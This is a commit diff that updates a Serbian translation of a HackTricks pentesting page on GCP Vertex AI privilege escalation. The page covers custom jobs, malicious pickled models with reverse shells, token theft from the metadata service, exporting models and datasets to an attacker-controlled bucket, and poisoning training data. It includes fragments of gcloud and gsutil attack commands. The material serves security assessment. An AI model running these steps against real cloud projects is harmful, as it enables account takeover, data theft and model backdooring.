mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-27 23:34:32 -08:00
Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat
This commit is contained in:
@@ -12,15 +12,15 @@ Za više informacija o Vertex AI pogledajte:
|
||||
|
||||
### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Sa permisijom `aiplatform.customJobs.create` i `iam.serviceAccounts.actAs` na ciljnom servisnom nalogu, napadač može **izvršiti proizvoljan kod sa povišenim privilegijama**.
|
||||
Sa permisijom `aiplatform.customJobs.create` i `iam.serviceAccounts.actAs` na ciljanom service account-u, napadač može **izvršiti proizvoljan kod sa povišenim privilegijama**.
|
||||
|
||||
Ovo funkcioniše kreiranjem custom training job-a koji pokreće kod pod kontrolom napadača (bilo custom container ili Python package). Navođenjem privilegovanog servisnog naloga pomoću `--service-account` flag-a, job nasleđuje dozvole tog servisnog naloga. Job se izvršava na infrastrukturi kojom upravlja Google i ima pristup GCP metadata service-u, što omogućava ekstrakciju OAuth access token-a servisnog naloga.
|
||||
Ovo se postiže kreiranjem custom training job-a koji pokreće kod pod kontrolom napadača (bilo custom container ili Python package). Navođenjem privilegovanog service account-a pomoću `--service-account` flag-a, job nasleđuje dozvole tog service account-a. Job se izvršava na Google-managed infrastructure i ima pristup GCP metadata service-u, što omogućava izdvajanje OAuth access token-a service account-a.
|
||||
|
||||
**Uticaj**: Potpuna eskalacija privilegija do dozvola ciljnog servisnog naloga.
|
||||
**Uticaj**: Potpuna eskalacija privilegija do dozvola ciljanog service account-a.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Kreiranje custom job-a sa reverse shell</summary>
|
||||
<summary>Kreiraj custom job sa reverse shell</summary>
|
||||
```bash
|
||||
# Method 1: Reverse shell to attacker-controlled server (most direct access)
|
||||
gcloud ai custom-jobs create \
|
||||
@@ -49,7 +49,7 @@ gcloud ai custom-jobs create \
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Alternativa: Izvuci token iz logs</summary>
|
||||
<summary>Alternativa: Izdvoji token iz logova</summary>
|
||||
```bash
|
||||
# Method 3: View in logs (less reliable, logs may be delayed)
|
||||
gcloud ai custom-jobs create \
|
||||
@@ -65,19 +65,17 @@ gcloud ai custom-jobs stream-logs <job-id> --region=<region>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> Custom job će se izvršavati sa privilegijama navedenog service account-a. Uverite se da imate `iam.serviceAccounts.actAs` dozvolu nad ciljnim service account-om.
|
||||
|
||||
### `aiplatform.models.upload`, `aiplatform.models.get`
|
||||
|
||||
Ova tehnika ostvaruje eskalaciju privilegija otpremanjem modela u Vertex AI i korišćenjem tog modela za izvršavanje koda sa povišenim privilegijama kroz endpoint deployment ili batch prediction job.
|
||||
Ova tehnika postiže eskalaciju privilegija tako što se otpremi model u Vertex AI, a zatim se taj model iskoristi za izvršavanje koda sa povišenim privilegijama putem endpoint deployment-a ili batch prediction job-a.
|
||||
|
||||
> [!NOTE]
|
||||
> Za izvođenje ovog napada potrebno je imati GCS bucket koji je čitljiv svima (world-readable) ili kreirati novi u koji ćete otpremiti artefakte modela.
|
||||
> Da biste izveli ovaj napad, potrebno je imati world readable GCS bucket ili kreirati novi za otpremu model artefakata.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Otpremanje zlonamernog pickled modela sa reverse shell-om</summary>
|
||||
<summary>Otpremite zlonamerni pickled model sa reverse shell-om</summary>
|
||||
```bash
|
||||
# Method 1: Upload malicious pickled model (triggers on deployment, not prediction)
|
||||
# Create malicious sklearn model that executes reverse shell when loaded
|
||||
@@ -113,7 +111,7 @@ gcloud ai models upload \
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Otpremi model sa container reverse shell</summary>
|
||||
<summary>Otpremanje modela sa reverse shell-om u kontejneru</summary>
|
||||
```bash
|
||||
# Method 2 using --container-args to run a persistent reverse shell
|
||||
|
||||
@@ -145,16 +143,16 @@ gcloud ai models upload \
|
||||
</details>
|
||||
|
||||
> [!DANGER]
|
||||
> Nakon otpremanja zlonamernog modela, napadač može da sačeka da ga neko upotrebi, ili da ga sam pokrene putem endpoint deployment-a ili batch prediction job-a.
|
||||
> Nakon uploadovanja malicioznog modela napadač može sačekati da ga neko upotrebi, ili ga sam pokrenuti putem deploy-a na endpoint ili batch prediction job-a.
|
||||
|
||||
|
||||
#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) or ( `aiplatform.endpoints.setIamPolicy` )
|
||||
|
||||
Ako imate dozvole za kreiranje i deploy modela na endpoint-e, ili za izmenu endpoint IAM politika, možete iskoristiti otpremljene zlonamerne modele u projektu da biste ostvarili eskalaciju privilegija. Da biste pokrenuli jedan od prethodno otpremljenih zlonamernih modela preko endpointa, sve što treba da uradite je:
|
||||
Ako imate dozvole za kreiranje i deploy modela na endpoint-e, ili za izmenu endpoint IAM politika, možete iskoristiti uploadovane maliciozne modele u projektu da postignete privilege escalation. Da biste aktivirali jedan od ranije uploadovanih malicioznih modela preko endpoint-a, sve što treba da uradite je:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Deploy zlonamernog modela na endpoint</summary>
|
||||
<summary>Deploy malicious model to endpoint</summary>
|
||||
```bash
|
||||
# Create an endpoint
|
||||
gcloud ai endpoints create \
|
||||
@@ -175,12 +173,12 @@ gcloud ai endpoints deploy-model <endpoint-id> \
|
||||
|
||||
#### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Ako imate dozvole za kreiranje **batch prediction jobs** i njihovo pokretanje pomoću service account-a, možete pristupiti metadata service-u. Zlonamerni kod se izvršava iz **custom prediction container** ili **malicious model** tokom procesa batch prediction.
|
||||
Ako imate dozvole za kreiranje **batch prediction jobs** i za njegovo pokretanje koristeći service account, možete pristupiti metadata service-u. Maliciozni kod se izvršava iz **custom prediction container** ili **malicious model** tokom procesa batch prediction.
|
||||
|
||||
**Note**: Batch prediction jobs mogu biti kreirani samo preko REST API-ja ili Python SDK-a (gcloud CLI nije podržan).
|
||||
**Note**: Batch prediction jobs se mogu kreirati samo preko REST API-ja ili Python SDK-a (nema podrške za gcloud CLI).
|
||||
|
||||
> [!NOTE]
|
||||
> Ovaj napad zahteva prvo otpremanje malicious model-a (pogledajte odeljak `aiplatform.models.upload` iznad) ili korišćenje custom prediction container-a sa vašim reverse shell kodom.
|
||||
> Ovaj napad zahteva prvo otpremanje malicious model (pogledajte odeljak `aiplatform.models.upload` iznad) ili korišćenje custom prediction container-a sa vašim reverse shell code-om.
|
||||
|
||||
<details>
|
||||
|
||||
@@ -240,14 +238,14 @@ https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${R
|
||||
|
||||
### `aiplatform.models.export`
|
||||
|
||||
Ako imate dozvolu **models.export**, možete izvesti artefakte modela u GCS bucket koji kontrolišete, što može dovesti do pristupa osetljivim podacima za obuku ili fajlovima modela.
|
||||
Ako imate **models.export** dozvolu, možete izvesti artefakte modela u GCS bucket koji kontrolišete, potencijalno pristupajući osetljivim podacima za obuku ili fajlovima modela.
|
||||
|
||||
> [!NOTE]
|
||||
> Za izvođenje ovog napada potrebno je imati GCS bucket koji je čitljiv i upisiv za sve ili kreirati novi da biste otpremili artefakte modela.
|
||||
> Da biste izveli ovaj napad, potrebno je da imate GCS bucket koji je javno čitljiv i u koji se može pisati, ili da kreirate novi bucket u koji ćete otpremiti artefakte modela.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Izvoz artefakata modela u GCS bucket</summary>
|
||||
<summary>Izvezi artefakte modela u GCS bucket</summary>
|
||||
```bash
|
||||
# Export model artifacts to your own GCS bucket
|
||||
PROJECT="your-project"
|
||||
@@ -274,12 +272,12 @@ gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./
|
||||
|
||||
### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Kreirajte **ML pipeline jobs** koji izvršavaju više koraka sa proizvoljnim kontejnerima i ostvarite eskalaciju privilegija kroz reverse shell pristup.
|
||||
Kreirajte **ML pipeline jobs** koji izvršavaju više koraka sa proizvoljnim kontejnerima i ostvarite privilege escalation putem reverse shell pristupa.
|
||||
|
||||
Pipelines su posebno moćne za eskalaciju privilegija jer podržavaju višestepene napade gde svaka komponenta može koristiti različite kontejnere i konfiguracije.
|
||||
Pipelines su posebno moćni za privilege escalation jer podržavaju multi-stage napade u kojima svaka komponenta može koristiti različite kontejnere i konfiguracije.
|
||||
|
||||
> [!NOTE]
|
||||
> Potreban vam je GCS bucket koji je upisiv za sve da biste ga koristili kao pipeline root.
|
||||
> Potrebno vam je world writable GCS bucket koji će se koristiti kao pipeline root.
|
||||
|
||||
<details>
|
||||
|
||||
@@ -386,15 +384,15 @@ print(f" {response.text}")
|
||||
|
||||
### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Kreirajte **hyperparameter tuning jobs** koji pokreću proizvoljan kod sa povišenim privilegijama koristeći custom training containers.
|
||||
Kreirajte **hyperparameter tuning jobs** koji izvršavaju proizvoljan kod sa povišenim privilegijama putem custom training containers.
|
||||
|
||||
Hyperparameter tuning jobs omogućavaju pokretanje više trening pokušaja paralelno, svaki sa različitim vrednostima hyperparametara. Ako navedete zlonamerni container koji sadrži reverse shell ili exfiltration command i povežete ga sa privilegovanim service account-om, možete ostvariti privilege escalation.
|
||||
Hyperparameter tuning jobs omogućavaju vam da pokrenete više training trial-ova paralelno, svaki sa različitim hyperparameter vrednostima. Specificiranjem malicioznog container-a sa reverse shell-om ili exfiltration komandом, i povezivanjem sa privilegovanim service account-om, možete postići eskalaciju privilegija.
|
||||
|
||||
**Impact**: Potpuna privilege escalation do dozvola ciljanog service account-a.
|
||||
**Uticaj**: Potpuna eskalacija privilegija do dozvola ciljnog service account-a.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Kreirajte hyperparameter tuning job sa reverse shell</summary>
|
||||
<summary>Kreirajte hyperparameter tuning job sa reverse shell-om</summary>
|
||||
```bash
|
||||
# Method 1: Python reverse shell (most reliable)
|
||||
# Create HP tuning job config with reverse shell
|
||||
@@ -435,15 +433,15 @@ gcloud ai hp-tuning-jobs create \
|
||||
|
||||
### `aiplatform.datasets.export`
|
||||
|
||||
Izvezite **datasets** da biste eksfiltrirali podatke za treniranje koji mogu sadržati osetljive informacije.
|
||||
Izvezite **datasets** kako biste izvršili exfiltrate training data koje mogu sadržati osetljive informacije.
|
||||
|
||||
**Napomena**: Operacije nad datasetima zahtevaju REST API ili Python SDK (nema podrške u gcloud CLI za datasets).
|
||||
**Napomena**: Operacije sa dataset-ovima zahtevaju REST API ili Python SDK (gcloud CLI ne podržava dataset-e).
|
||||
|
||||
Datasets često sadrže originalne podatke za treniranje koji mogu uključivati PII, poverljive poslovne podatke ili druge osetljive informacije koje su korišćene za treniranje produkcionih modela.
|
||||
Dataseti često sadrže originalne podatke za treniranje koji mogu uključivati PII, poverljive poslovne podatke ili druge osetljive informacije koje su korišćene za treniranje produkcijskih modela.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Izvoz dataseta radi eksfiltracije podataka za treniranje</summary>
|
||||
<summary>Izvezite dataset za exfiltrate training data</summary>
|
||||
```bash
|
||||
# Step 1: List available datasets to find a target dataset ID
|
||||
PROJECT="your-project"
|
||||
@@ -492,25 +490,25 @@ cat exported-data/*/data-*.jsonl
|
||||
|
||||
### `aiplatform.datasets.import`
|
||||
|
||||
Uvezi zlonamerne ili zatrovane podatke u postojeće skupove podataka da bi se **manipulisalo treniranjem modela i uvelo backdoors**.
|
||||
Uvoz zlonamernih ili otrovanih podataka u postojeće skupove podataka kako bi se **manipulisalo treniranjem modela i ubacili backdoors**.
|
||||
|
||||
**Napomena**: operacije nad skupovima podataka zahtevaju REST API ili Python SDK (nema podrške gcloud CLI za skupove podataka).
|
||||
**Napomena**: Operacije nad dataset-ima zahtevaju REST API ili Python SDK (nema gcloud CLI podrške za datasete).
|
||||
|
||||
Uvođenjem pažljivo izrađenih podataka u skup podataka koji se koristi za treniranje ML modela, napadač može:
|
||||
- Uvesti backdoors u modele (trigger-based misclassification)
|
||||
Uvođenjem pažljivo pripremljenih podataka u dataset koji se koristi za treniranje ML modela, napadač može:
|
||||
- Ubaciti backdoors u modele (pogrešna klasifikacija aktivirana trigger-om)
|
||||
- Zatrovati podatke za treniranje kako bi se pogoršale performanse modela
|
||||
- Ubaciti podatke kako bi modeli leak-ovali informacije
|
||||
- Manipulisati ponašanjem modela za specifične ulaze
|
||||
- Ubaciti podatke da nateraju modele da leak informacije
|
||||
- Manipulisati ponašanje modela za specifične ulaze
|
||||
|
||||
Ovaj napad je naročito efikasan kada cilja skupove podataka koji se koriste za:
|
||||
- Klasifikacija slika (ubaciti pogrešno označene slike)
|
||||
- Klasifikacija teksta (ubaciti pristrasan ili zlonameran tekst)
|
||||
- Detekcija objekata (manipulisati bounding boxes)
|
||||
- Sistemi preporuka (ubaciti lažne preferencije)
|
||||
Ovaj napad je posebno efikasan kada cilja skupove podataka koji se koriste za:
|
||||
- Klasifikaciju slika (ubaci pogrešno označene slike)
|
||||
- Klasifikaciju teksta (ubaci pristrasan ili zlonameran tekst)
|
||||
- Detekciju objekata (manipulisanje bounding box-ovima)
|
||||
- Sisteme preporuka (ubaci lažne preferencije)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Uvezi zatrovane podatke u skup podataka</summary>
|
||||
<summary>Import poisoned data into dataset</summary>
|
||||
```bash
|
||||
# Step 1: List available datasets to find target
|
||||
PROJECT="your-project"
|
||||
@@ -571,7 +569,7 @@ curl -s -X GET \
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Backdoor attack - Klasifikacija slika</summary>
|
||||
<summary>Backdoor attack - Image classification</summary>
|
||||
```bash
|
||||
# Scenario 1: Backdoor Attack - Image Classification
|
||||
# Create images with a specific trigger pattern that causes misclassification
|
||||
@@ -598,7 +596,7 @@ done > label_flip.jsonl
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Data poisoning for model extraction</summary>
|
||||
<summary>Data poisoning za model extraction</summary>
|
||||
```bash
|
||||
# Scenario 3: Data Poisoning for Model Extraction
|
||||
# Inject carefully crafted queries to extract model behavior
|
||||
@@ -625,34 +623,34 @@ EOF
|
||||
</details>
|
||||
|
||||
> [!DANGER]
|
||||
> Data poisoning attacks mogu imati ozbiljne posledice:
|
||||
> - **Bezbednosni sistemi**: Zaobići sistem za prepoznavanje lica ili otkrivanje anomalija
|
||||
> - **Otkrivanje prevara**: Naterati modele da ignorišu specifične obrasce prevara
|
||||
> - **Moderacija sadržaja**: Navesti da se štetan sadržaj klasifikuje kao bezbedan
|
||||
> - **Medicinski AI**: Pogrešno klasifikovati kritična zdravstvena stanja
|
||||
> - **Autonomni sistemi**: Manipulisati detekcijom objekata u odlukama koje su kritične za bezbednost
|
||||
> Data poisoning attacks can have severe consequences:
|
||||
> - **Sistemi bezbednosti**: Zaobići prepoznavanje lica ili detekciju anomalija
|
||||
> - **Detekcija prevara**: Obučiti modele da ignorišu specifične obrasce prevara
|
||||
> - **Moderacija sadržaja**: Naterati da štetni sadržaj bude klasifikovan kao bezbedan
|
||||
> - **Medical AI**: Pogrešno klasifikovati kritična zdravstvena stanja
|
||||
> - **Autonomni sistemi**: Manipulisati detekcijom objekata za odluke kritične po bezbednost
|
||||
|
||||
**Uticaj**:
|
||||
- Modeli sa backdoor-om koji pogrešno klasifikuju na određene okidače
|
||||
- Backdoored models that misclassify on specific triggers
|
||||
- Smanjena performansa i tačnost modela
|
||||
- Pristrasni modeli koji diskriminišu određene ulaze
|
||||
- Information leakage through model behavior
|
||||
- Dugoročna upornost (modeli trenirani na poisoned data će naslediti backdoor)
|
||||
- Procurivanje informacija kroz ponašanje modela
|
||||
- Dugoročna postojanost (modeli trenirani na poisoned data će naslediti backdoor)
|
||||
|
||||
|
||||
### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
> [!WARNING]
|
||||
> > [!NOTE]
|
||||
> **Deprecated API**: The `aiplatform.notebookExecutionJobs.create` API je zastareo kao deo depreciranja Vertex AI Workbench Managed Notebooks. Moderni pristup je korišćenje **Vertex AI Workbench Executor** koji pokreće notebooks kroz `aiplatform.customJobs.create` (već dokumentovano iznad).
|
||||
> Vertex AI Workbench Executor omogućava zakazivanje pokretanja notebook-ova koji se izvršavaju na Vertex AI custom training infrastrukturi sa specificiranim servisnim nalogom. Ovo je u suštini praktičan wrapper oko `customJobs.create`.
|
||||
> **For privilege escalation via notebooks**: Koristite `aiplatform.customJobs.create` metodu dokumentovanu iznad, koja je brža, pouzdanija i koristi istu osnovnu infrastrukturu kao Workbench Executor.
|
||||
> **Deprecated API**: The `aiplatform.notebookExecutionJobs.create` API is deprecated as part of Vertex AI Workbench Managed Notebooks deprecation. The modern approach is using **Vertex AI Workbench Executor** which runs notebooks through `aiplatform.customJobs.create` (already documented above).
|
||||
> Vertex AI Workbench Executor omogućava zakazivanje pokretanja notebook-a koji se izvršavaju na Vertex AI custom training infrastrukturi sa određenim servisnim nalogom. Ovo je ustvari praktičan omotač oko `customJobs.create`.
|
||||
> **Za privilege escalation putem notebook-ova**: Koristite `aiplatform.customJobs.create` metodu dokumentovanu iznad, koja je brža, pouzdanija i koristi istu osnovnu infrastrukturu kao Workbench Executor.
|
||||
|
||||
**The following technique is provided for historical context only and is not recommended for use in new assessments.**
|
||||
**Sledeća tehnika je navedena isključivo radi istorijskog konteksta i nije preporučljiva za upotrebu u novim procenama.**
|
||||
|
||||
Kreirajte **notebook execution jobs** koji pokreću Jupyter notebooks sa proizvoljnim kodom.
|
||||
Kreirajte zadatke izvršavanja notebook-a koji pokreću Jupyter notebooks sa proizvoljnim kodom.
|
||||
|
||||
Notebook jobs su idealni za interaktivno izvršavanje koda sa servisnim nalogom, jer podržavaju Python ćelije koda i shell komande.
|
||||
Notebook jobs su idealni za izvršavanje koda u interaktivnom stilu sa servisnim nalogom, jer podržavaju Python code cells i shell komande.
|
||||
|
||||
<details>
|
||||
|
||||
@@ -683,7 +681,7 @@ gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Pokreni notebook koristeći ciljni service account</summary>
|
||||
<summary>Pokreni notebook sa ciljnim servisnim nalogom</summary>
|
||||
```bash
|
||||
# Create notebook execution job using REST API
|
||||
PROJECT="gcp-labs-3uis1xlx"
|
||||
@@ -711,7 +709,7 @@ https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${R
|
||||
</details>
|
||||
|
||||
|
||||
## Reference
|
||||
## Izvori
|
||||
|
||||
- [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs)
|
||||
- [https://cloud.google.com/vertex-ai/docs/reference/rest](https://cloud.google.com/vertex-ai/docs/reference/rest)
|
||||
|
||||
Reference in New Issue
Block a user